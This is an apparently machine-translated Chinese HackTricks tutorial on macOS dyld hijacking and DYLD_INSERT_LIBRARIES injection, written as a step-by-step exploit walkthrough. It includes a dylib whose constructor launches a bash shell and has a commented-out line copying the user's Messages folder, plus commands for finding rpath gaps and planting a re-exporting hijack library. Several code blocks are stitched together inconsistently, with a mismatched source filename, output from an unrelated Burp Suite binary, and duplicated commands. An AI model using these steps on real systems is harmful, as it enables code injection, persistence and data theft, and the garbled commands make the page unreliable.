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203 lines
7.2 KiB
Markdown
203 lines
7.2 KiB
Markdown
# macOS Dyld 劫持 & DYLD\_INSERT\_LIBRARIES
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<details>
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<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>从零开始学习 AWS 黑客攻击！</strong></summary>
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支持 HackTricks 的其他方式：
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* 如果您希望在 **HackTricks 中看到您的公司广告** 或 **下载 HackTricks 的 PDF**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
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* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
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* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们独家的 [**NFTs 集合**](https://opensea.io/collection/the-peass-family)
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* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
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* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。
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</details>
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## DYLD\_INSERT\_LIBRARIES 基本示例
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**要注入的库** 以执行 shell：
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```c
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// gcc -dynamiclib -o inject.dylib inject.c
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#include <syslog.h>
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#include <stdio.h>
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#include <unistd.h>
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#include <stdlib.h>
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__attribute__((constructor))
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void myconstructor(int argc, const char **argv)
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{
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syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
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printf("[+] dylib injected in %s\n", argv[0]);
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execv("/bin/bash", 0);
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//system("cp -r ~/Library/Messages/ /tmp/Messages/");
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}
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```
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攻击目标二进制：
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```c
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// gcc hello.c -o hello
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#include <stdio.h>
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int main()
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{
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printf("Hello, World!\n");
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return 0;
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}
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```
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注入：
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```bash
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DYLD_INSERT_LIBRARIES=inject.dylib ./hello
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```
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## Dyld 劫持示例
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目标易受攻击的二进制文件是 `/Applications/VulnDyld.app/Contents/Resources/lib/binary`。
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{% tabs %}
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{% tab title="entitlements" %}
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<pre class="language-bash" data-overflow="wrap"><code class="lang-bash">codesign -dv --entitlements :- "/Applications/VulnDyld.app/Contents/Resources/lib/binary"
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<strong>[...]com.apple.security.cs.disable-library-validation[...]
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</strong></code></pre>
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{% endtab %}
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{% tab title="LC_RPATH" %}
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{% code overflow="wrap" %}
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```bash
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# Check where are the @rpath locations
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otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep LC_RPATH -A 2
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cmd LC_RPATH
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cmdsize 32
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path @loader_path/. (offset 12)
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--
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cmd LC_RPATH
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cmdsize 32
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path @loader_path/../lib2 (offset 12)
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```
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{% endcode %}
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{% endtab %}
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{% tab title="@rpath" %}
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{% code overflow="wrap" %}
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```bash
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# Check librareis loaded using @rapth and the used versions
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otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep "@rpath" -A 3
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name @rpath/lib.dylib (offset 24)
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time stamp 2 Thu Jan 1 01:00:02 1970
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current version 1.0.0
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compatibility version 1.0.0
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# Check the versions
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```
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{% endcode %}
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{% endtab %}
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{% endtabs %}
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根据前面的信息，我们知道它**没有检查加载库的签名**，并且它**尝试从以下位置加载库**：
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* `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib`
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* `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib`
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然而，第一个不存在：
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```bash
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pwd
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/Applications/VulnDyld.app
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find ./ -name lib.dylib
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./Contents/Resources/lib2/lib.dylib
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```
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因此，可以劫持它！创建一个库，**执行一些任意代码并导出与合法库相同的功能**，通过重新导出它。并记得使用预期的版本来编译它：
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{% code title="lib.m" %}
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```objectivec
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#import <Foundation/Foundation.h>
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__attribute__((constructor))
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void custom(int argc, const char **argv) {
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NSLog(@"[+] dylib hijacked in %s", argv[0]);
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}
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```
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```bash
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gcc -dynamiclib -o libhijack.dylib libhijack.c -undefined suppress -flat_namespace
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```
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{% endcode %}
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编译它：
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{% code overflow="wrap" %}
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```bash
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gcc -dynamiclib -o libhijack.dylib libhijack.c -undefined suppress -flat_namespace
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```
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{% endcode %}
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```bash
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gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
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# Note the versions and the reexport
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```
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{% endcode %}
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在库中创建的重新导出路径是相对于加载器的，让我们将其更改为库的绝对路径以进行导出：
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{% code overflow="wrap" %}
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```bash
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#Check relative
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otool -l /tmp/lib.dylib| grep REEXPORT -A 2
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cmd LC_REEXPORT_DYLIB
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cmdsize 48
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name @rpath/libjli.dylib (offset 24)
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#Change the location of the library absolute to absolute path
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install_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib
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# Check again
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otool -l /tmp/lib.dylib| grep REEXPORT -A 2
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cmd LC_REEXPORT_DYLIB
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cmdsize 128
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name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)
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```
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```bash
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cp /tmp/evil.dylib /path/to/hijacked/location/
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```
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{% endcode %}
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最后，将其复制到**劫持位置**：
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{% code overflow="wrap" %}
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```bash
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cp /tmp/evil.dylib /path/to/hijacked/location/
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```
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{% endcode %}
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```bash
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cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
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```
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{% endcode %}
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执行二进制文件并检查**库是否已加载**：
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<pre class="language-context"><code class="lang-context">"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
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<strong>2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib 在 /Applications/VulnDyld.app/Contents/Resources/lib/binary 中被劫持
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</strong>用法：[...]
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</code></pre>
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{% hint style="info" %}
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关于如何利用这个漏洞来滥用 Telegram 的摄像头权限的详细文章可以在[https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)找到。
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{% endhint %}
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## 更大规模
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如果你计划尝试在意外的二进制文件中注入库，你可以检查事件消息以找出库何时在进程中加载（在这种情况下，移除 printf 和 `/bin/bash` 执行）。
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```bash
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sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
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```
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<details>
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<summary><strong>零基础学习AWS黑客攻击直至成为专家，通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>！</strong></summary>
|
||
|
||
支持HackTricks的其他方式：
|
||
|
||
* 如果您希望在**HackTricks中看到您的公司广告**或**以PDF格式下载HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
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* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库**提交PR来分享您的黑客技巧**。
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</details>
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